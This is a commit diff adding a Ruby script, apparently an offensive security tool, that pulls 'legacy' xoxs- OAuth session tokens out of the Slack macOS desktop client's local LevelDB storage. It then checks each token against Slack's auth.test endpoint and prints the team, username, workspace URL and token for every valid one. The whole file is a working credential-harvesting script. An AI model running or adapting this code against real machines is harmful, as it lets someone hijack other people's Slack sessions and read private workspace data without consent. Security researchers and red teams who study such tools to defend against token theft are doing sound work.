Create toke_em.rb

toke_em.rb

@@ -0,0 +1,61 @@
+# toke_em.rb
+# Extracts "legacy" OAUTH tokens from Slack macOS Desktop client local storage
+#
+# n0ncetonic
+#
+# Copyright 2019 Blacksun Research Labs
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#    http://www.apache.org/licenses/LICENSE-2.0
+# 
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or imp
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+require 'net/http'
+require 'json'
+
+$auth_url = "https://slack.com/api/auth.test"
+$base_dir = File.expand_path("~/Library/Application Support/Slack/Local Storage/leveldb")
+$tokes = /xoxs-\d+-\d+-\d+-\h+/
+
+def get_files()
+  Dir.glob(File.join($base_dir, '/*.*'))
+end
+
+def toke(db)
+  File.read(db).force_encoding('ISO-8859-1').scan($tokes)
+end
+
+def gimme_tokes()
+  get_files().map { |x|
+    toke(x)
+  }.flatten.uniq
+end
+
+def meta_toke(tokens)
+  uri = URI($auth_url)
+  tokens.map { |x|
+    net = Net::HTTP.start(uri.host, uri.port,
+                          :use_ssl => uri.scheme == 'https') do |http|
+      params = { :token => x, :pretty => 1 }
+      uri.query = URI.encode_www_form(params)
+
+      request = Net::HTTP::Get.new uri
+      res = http.request request
+      if res.is_a?(Net::HTTPSuccess)
+        body = JSON.parse(res.body)
+        if body["ok"] == true
+          puts "[!] Valid Token Found\nTeam:#{body["team"]}\nUsername:#{body["user"]}\nUrl:#{body["url"]}\nToken:#{x}\n"
+        end
+      end
+    end
+    }
+end
+
+tokens = gimme_tokes()
+meta_toke(tokens)